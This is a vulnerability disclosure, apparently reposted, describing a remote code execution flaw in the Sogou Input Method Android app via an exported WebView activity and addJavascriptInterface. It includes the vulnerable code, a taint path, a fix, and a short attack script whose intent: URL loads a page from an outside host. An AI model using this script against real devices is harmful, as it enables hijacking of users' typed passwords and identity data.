Sogou Input Method remote code execution can maliciously hijack user input

Source: Internet
Author: User
Tags taint

Sogou Input Method remote code execution can maliciously hijack user input

The sogou input method is used for remote code execution. All the content entered by the user, including the password, can be viewed at a glance.

The latest version of sogou input method (7.2.2) does not properly handle intent input parameters and is directly introduced into jsinterface, resulting in code execution. At the same time, all Android devices <= 4.4.2 are affected because the targetSDK of sogou input method is too low.


0x01:

JADE static detection finds the following taint path:

Taint source:$r3 = virtualinvoke $r0.<sogou.mobile.explorer.hotwords.minibrowser.MiniWebViewActivity: android.content.Intent getIntent()>() on line 107 in method <sogou.mobile.explorer.hotwords.minibrowser.MiniWebViewActivity: void onCreate(android.os.Bundle)>Taint path:$r3 = virtualinvoke $r2.<java.lang.String: android.content.Intent getDataString()>() on line 112 in method <sogou.mobile.explorer.hotwords.minibrowser.MiniWebViewActivity: void processExtraData(android.content.Intent)>Taint sink:$r2.<com.tencent.smtt.sdk.WebView$SystemWebView: void loadUrl(java.lang.String)>($r1) on line 780 in method <com.tencent.smtt.sdk.WebView: void loadUrl(java.lang.String)>





Call relationship diagram: onCreate-> processExtraData-> loadUrl



This can cause problems such as phishing and cross-domain file Reading. However, there are more serious problems.



0x02: static detection also found that the mini-webviewactivity uses addJavascriptInterface, And the targetSDK of this APK is 7 (Android 2.1 ), as a result, the addjsinterface vulnerability has extended its impact to all Android devices using webview, that is, <= 4.4.2. According to umeng, 95% of Android devices in China are included.



Because of the key position of the input method application, it controls all the input content of the user. After controlling the input process, the input of all users, including passwords and ID cards, is undoubtedly exposed.

@SuppressLint(value={"SetJavaScriptEnabled"}) private void initWebView() {        LogUtil.i("Mini WebView", "-------- init webview -------"); /*omit*/        this.mWebView.addJavascriptInterface(new ContextShareInterface(), "sogoumse_interface");        this.mWebView.requestFocus();





Use intent scheme to expand this issue to Remote Code Execution

Problem code:
 

private void processExtraData(Intent arg3) {        if(arg3 != null && ("android.intent.action.VIEW".equals(arg3.getAction())) && arg3.getData()                 != null) {            this.recreateWebView();            this.mWebView.loadUrl(arg3.getDataString());        }    }





Code execution example: Write a file into the sdcard
 





4.3 still affected
 




 





Remote attack code:

<Script>

Location. href = "intent: http://myqsc.sinaapp.com/fuck.html#Intent;SEL;component=com.sohu.inputmethod.sogou/sogou.mobile.explorer.hotwords.minibrowser.MiniWebViewActivity;end ";

</Script>

Solution:

Process incoming URLs and update targetSDK

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.